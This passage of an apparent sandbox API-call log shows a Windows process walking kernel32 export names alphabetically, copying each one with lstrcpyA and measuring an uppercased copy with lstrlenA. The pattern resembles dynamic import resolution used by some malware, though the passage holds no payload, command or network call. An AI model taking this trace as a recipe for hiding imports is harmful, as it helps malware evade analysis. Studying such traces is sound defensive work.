lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0108.732] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0108.732] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0108.732] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0108.732] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0108.732] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0108.732] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0108.733] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0108.733] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0108.733] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0108.733] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0108.733] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0108.733] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0108.733] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0108.733] lstrlenA (lpString="BEEP") returned 4 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0108.733] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0108.733] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0108.733] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0108.733] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0108.733] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0108.733] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0108.733] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0108.734] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0108.734] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0108.734] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0108.734] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0108.734] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0108.734] lstrlenA (lpString="CANCELIO") returned 8 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0108.734] lstrlenA (lpString="CANCELIOEX") returned 10 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0108.734] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0108.734] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0108.734] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0108.734] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0108.734] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0108.734] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0108.734] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0108.735] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0108.735] lstrlenA (lpString="CHECKELEVATION") returned 14 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0108.735] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0108.735] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0108.735] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0108.735] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0108.735] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0108.735] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0108.735] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0108.735] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0108.735] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0108.735] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0108.736] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0108.736] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0108.736] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0108.736] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0108.736] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0108.736] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0108.736] lstrlenA (lpString="CLOSESTATE") returned 10 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0108.736] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0108.736] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0108.736] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0108.736] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0108.736] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0108.737] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0108.737] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0108.737] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0108.737] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0108.737] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0108.737] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0108.737] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0108.737] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0108.737] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0108.737] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0108.737] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0108.737] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0108.737] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0108.737] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0108.737] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0108.737] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0108.738] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0108.738] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0108.738] lstrlenA (lpString="COPYCONTEXT") returned 11 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0108.738] lstrlenA (lpString="COPYFILE2") returned 9 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0108.738] lstrlenA (lpString="COPYFILEA") returned 9 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0108.738] lstrlenA (lpString="COPYFILEEXA") returned 11 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0108.738] lstrlenA (lpString="COPYFILEEXW") returned 11 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0108.738] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0108.738] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0108.738] lstrlenA (lpString="COPYFILEW") returned 9 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0108.738] lstrlenA (lpString="COPYLZFILE") returned 10 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0108.738] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0108.738] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0108.738] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0108.738] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0108.738] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0108.738] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0108.739] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0108.739] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0108.739] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0108.739] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0108.739] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0108.739] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0108.739] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0108.739] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0108.739] lstrlenA (lpString="CREATEEVENTA") returned 12 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0108.739] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0108.739] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0108.739] lstrlenA (lpString="CREATEEVENTW") returned 12 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0108.739] lstrlenA (lpString="CREATEFIBER") returned 11 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0108.739] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0108.739] lstrlenA (lpString="CREATEFILE2") returned 11 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0108.739] lstrlenA (lpString="CREATEFILEA") returned 11 [0108.739] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0108.740] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0108.740] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0108.740] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0108.740] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0108.740] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0108.740] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0108.740] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0108.740] lstrlenA (lpString="CREATEFILEW") returned 11 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0108.740] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0108.740] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0108.740] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0108.740] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0108.740] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0108.740] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0108.740] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0108.740] lstrlenA (lpString="CREATEJOBSET") returned 12 [0108.740] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0108.741] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0108.741] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0108.741] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0108.741] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0108.741] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") 